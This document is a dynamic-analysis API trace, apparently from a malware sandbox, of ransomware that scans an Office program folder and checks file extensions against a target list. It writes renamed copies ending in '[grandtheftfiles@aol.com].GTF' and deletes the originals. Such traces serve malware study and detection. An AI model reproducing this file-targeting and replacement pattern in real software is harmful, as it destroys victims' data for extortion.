	[0166.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.285] lstrlenW (lpString=".doc") returned 4
	[0166.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".docx") returned 5
	[0166.286] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.286] lstrlenW (lpString=".pdf") returned 4
	[0166.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".xls") returned 4
	[0166.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".xlsx") returned 5
	[0166.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.286] lstrlenW (lpString=".ppt") returned 4
	[0166.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString=".zip") returned 4
	[0166.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".rar") returned 4
	[0166.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".bz2") returned 4
	[0166.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.286] lstrlenW (lpString=".7z") returned 3
	[0166.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString=".dbf") returned 4
	[0166.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString=".1cd") returned 4
	[0166.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString=".jpg") returned 4
	[0166.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.286] lstrlenW (lpString=".doc") returned 4
	[0166.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.286] lstrlenW (lpString=".docx") returned 5
	[0166.286] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.286] lstrlenW (lpString=".pdf") returned 4
	[0166.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.287] lstrlenW (lpString=".xls") returned 4
	[0166.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.287] lstrlenW (lpString=".xlsx") returned 5
	[0166.287] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.287] lstrlenW (lpString=".ppt") returned 4
	[0166.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.287] lstrlenW (lpString=".zip") returned 4
	[0166.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.287] lstrlenW (lpString=".rar") returned 4
	[0166.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.287] lstrlenW (lpString=".bz2") returned 4
	[0166.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.287] lstrlenW (lpString=".7z") returned 3
	[0166.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.287] lstrlenW (lpString=".dbf") returned 4
	[0166.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.287] lstrlenW (lpString=".1cd") returned 4
	[0166.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0166.287] lstrlenW (lpString=".jpg") returned 4
	[0166.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.287] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.287] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0166.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.288] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19136) returned 1
	[0166.288] CloseHandle (hObject=0x558) returned 1
	[0166.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0166.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.288] lstrlenW (lpString=".doc") returned 4
	[0166.288] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.288] lstrlenW (lpString=".docx") returned 5
	[0166.288] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0166.288] lstrlenW (lpString=".pdf") returned 4
	[0166.288] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.288] lstrlenW (lpString=".xls") returned 4
	[0166.288] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.288] lstrlenW (lpString=".xlsx") returned 5
	[0166.289] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0166.289] lstrlenW (lpString=".ppt") returned 4
	[0166.289] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".zip") returned 4
	[0166.289] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString=".rar") returned 4
	[0166.289] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString=".bz2") returned 4
	[0166.289] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.289] lstrlenW (lpString=".7z") returned 3
	[0166.289] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".dbf") returned 4
	[0166.289] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".1cd") returned 4
	[0166.289] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".jpg") returned 4
	[0166.289] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".doc") returned 4
	[0166.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString=".docx") returned 5
	[0166.289] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0166.289] lstrlenW (lpString=".pdf") returned 4
	[0166.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString=".xls") returned 4
	[0166.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString=".xlsx") returned 5
	[0166.289] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0166.289] lstrlenW (lpString=".ppt") returned 4
	[0166.289] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.289] lstrlenW (lpString=".zip") returned 4
	[0166.290] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.290] lstrlenW (lpString=".rar") returned 4
	[0166.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.290] lstrlenW (lpString=".bz2") returned 4
	[0166.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.290] lstrlenW (lpString=".7z") returned 3
	[0166.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.290] lstrlenW (lpString=".dbf") returned 4
	[0166.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.290] lstrlenW (lpString=".1cd") returned 4
	[0166.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0166.290] lstrlenW (lpString=".jpg") returned 4
	[0166.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.290] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.290] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0166.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0166.417] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19136) returned 1
	[0166.417] CloseHandle (hObject=0x42c) returned 1
	[0166.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0166.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString=".doc") returned 4
	[0166.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString=".docx") returned 5
	[0166.521] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.521] lstrlenW (lpString=".pdf") returned 4
	[0166.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString=".xls") returned 4
	[0166.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString=".xlsx") returned 5
	[0166.521] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.521] lstrlenW (lpString=".ppt") returned 4
	[0166.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString=".zip") returned 4
	[0166.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString=".rar") returned 4
	[0166.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.521] lstrlenW (lpString=".bz2") returned 4
	[0166.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.521] lstrlenW (lpString=".7z") returned 3
	[0166.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString=".dbf") returned 4
	[0166.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString=".1cd") returned 4
	[0166.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.521] lstrlenW (lpString=".jpg") returned 4
	[0166.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString=".doc") returned 4
	[0166.522] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString=".docx") returned 5
	[0166.522] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.522] lstrlenW (lpString=".pdf") returned 4
	[0166.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString=".xls") returned 4
	[0166.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString=".xlsx") returned 5
	[0166.522] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.522] lstrlenW (lpString=".ppt") returned 4
	[0166.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString=".zip") returned 4
	[0166.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString=".rar") returned 4
	[0166.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.522] lstrlenW (lpString=".bz2") returned 4
	[0166.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.522] lstrlenW (lpString=".7z") returned 3
	[0166.522] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString=".dbf") returned 4
	[0166.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString=".1cd") returned 4
	[0166.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0166.522] lstrlenW (lpString=".jpg") returned 4
	[0166.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.523] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.523] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
	[0166.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.523] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=24768) returned 1
	[0166.523] CloseHandle (hObject=0x548) returned 1
	[0166.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220
	[0166.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0166.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0166.524] lstrlenW (lpString=".doc") returned 4
	[0166.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString=".docx") returned 5
	[0166.524] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.524] lstrlenW (lpString=".pdf") returned 4
	[0166.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString=".xls") returned 4
	[0166.524] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString=".xlsx") returned 5
	[0166.524] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.524] lstrlenW (lpString=".ppt") returned 4
	[0166.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0166.524] lstrlenW (lpString=".zip") returned 4
	[0166.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString=".rar") returned 4
	[0166.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.524] lstrlenW (lpString=".bz2") returned 4
	[0166.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.524] lstrlenW (lpString=".7z") returned 3
	[0166.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80
	[0166.525] lstrlenW (lpString=".dbf") returned 4
	[0166.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0166.548] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.548] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.550] GetLastError () returned 0x0
	[0166.550] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x221, lpOverlapped=0x0) returned 1
	[0166.551] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x230, lpOverlapped=0x0) returned 1
	[0166.552] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.552] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0166.552] SetEndOfFile (hFile=0x55c) returned 1
	[0166.552] CloseHandle (hObject=0x55c) returned 1
	[0166.552] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.552] SetEndOfFile (hFile=0x548) returned 1
	[0166.557] CloseHandle (hObject=0x548) returned 1
	[0166.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1
	[0166.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.558] lstrlenW (lpString=".doc") returned 4
	[0166.558] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString=".docx") returned 5
	[0166.558] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0166.558] lstrlenW (lpString=".pdf") returned 4
	[0166.558] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString=".xls") returned 4
	[0166.558] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString=".xlsx") returned 5
	[0166.558] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0166.558] lstrlenW (lpString=".ppt") returned 4
	[0166.558] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.558] lstrlenW (lpString=".zip") returned 4
	[0166.558] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString=".rar") returned 4
	[0166.558] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0166.558] lstrlenW (lpString=".bz2") returned 4
	[0166.559] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString=".7z") returned 3
	[0166.559] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString=".dbf") returned 4
	[0166.559] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString=".1cd") returned 4
	[0166.559] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0166.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0166.559] lstrlenW (lpString=".jpg") returned 4
